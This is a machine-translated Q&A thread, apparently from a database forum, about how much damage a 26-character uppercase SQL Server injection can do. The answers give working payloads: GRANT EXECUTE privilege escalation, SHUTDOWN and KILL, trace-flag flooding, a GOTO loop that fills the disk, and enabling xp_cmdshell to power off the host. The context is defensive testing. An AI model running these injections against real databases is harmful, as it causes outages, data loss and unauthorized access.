SQL Server注入-以26个字符为单位的损失是多少？

我正在测试针对SQL Server数据库上的注入攻击的弹性。

db中的所有表名都是小写，并且排序规则区分大小写，Latin1_General_CS_AS。

我可以发送的字符串被强制为大写，并且最大长度为26个字符。所以我不能发送DROP TABLE，因为表名将是大写的，因此由于排序规则，该语句将失败。

那么-我在26个角色中能造成的最大伤害是多少？

编辑

我了解有关参数化查询的所有知识，等等-假设在这种情况下，开发构建要发送查询的前端的人没有使用params。

我也不打算做任何邪恶的事情，这是由同一组织中的其他人构建的系统。

简单：

GRANT EXECUTE TO LowlyDBA

或者，我想在这种情况下

grant execute to lowlydba 

从中选择各种变化。

您极有可能现在可以在当前系统上对此进行测试，但是随着时间的推移，数据库中的任何细微更改都会使您的测试无效。字符串可能会更改，有人可以创建具有破坏性的小写存储过程-任何东西。您永远无法百分百地说出某人不会造成破坏性的26个角色攻击。

我建议您找到一种方法，使开发人员遵循基本的行业标准最佳安全实践，前提是仅出于您自己的考虑，因为我假设某人至少在发生安全漏洞时承担部分责任。

编辑：

并且出于恶意/乐趣，您可以尝试启用每个跟踪标志。这将很有趣。感觉像Brent Ozar的博客文章会让...

DBCC TRACEON(xxxx, -1)

的SHUTDOWN命令或KILL命令（选择一个随机数超过50）都采取显著小于26个字符，虽然帐户执行所述应用程序查询希望不具有足够的权限来运行这些。

您可以创建一个表，然后填充该表，直到时间结束或磁盘空间用完为止，以先到者为准。

declare @S char(26);

set @S = 'create table t(c char(99))';
exec (@S);

set @S = 'insert t values('''')'
exec (@S);

set @S = 'insert t select c from t'
exec (@S);
exec (@S);
exec (@S);
exec (@S);
-- etc

根据您对损害的定义，可以运行以下命令：WAITFOR DELAY '23：59'要真正邪恶，可以使用负载测试工具从32,768个客户端运行该负载测试工具。

基于@MikaelEriksson的回答和@MartinSmith对我的初始评论的回答而产生的变化：

declare @S char(26);

set @S = 'create table x(i int)';
exec (@S);

最初，我试图做一个WHILE语句，但是我能做的最好的是27个字符：

set @S = 'while 1=1 insert t select 0'; -- fails at 27 characters
exec (@S);

但马丁指出GOTO：

set @S = 'x:insert t select 0 GOTO x';
exec (@S);

GOTO ...万恶的根源和26个字符的无限循环插入语句的创建者。

话虽如此...坚持使用CHAR（99）而不是int可能是有利的，因为那样会占用更多空间。其他选项要么使用更长的名称，要么破坏26个字符的限制……或者每行使用更少的存储空间。

完整的测试代码：

declare @S char(26);
set @S = 'drop table t;';
exec (@S);
GO

declare @S char(26);

set @S = 'create table t(c CHAR(99))';
exec (@S);

set @S = 'x:insert t select 0 GOTO x';
exec (@S);
GO

XP_CMDSHELL 'SHUTDOWN -PF'

根据断电的严重程度而定。:-)

这确实需要在服务器上启用xp_cmdshell，对于SQL Server的最后几个版本而言，情况并非如此。它还要求服务帐户具有关闭权限，该权限可能具有也可能不具有。

启用xp_cmdshell可能超出了您的26个字符的限制。您可以多次注射吗？

SP_CONFIGURE 'SHOW ADV',1

RECONFIGURE

SP_CONFIGURE 'XP', 1

RECONFIGURE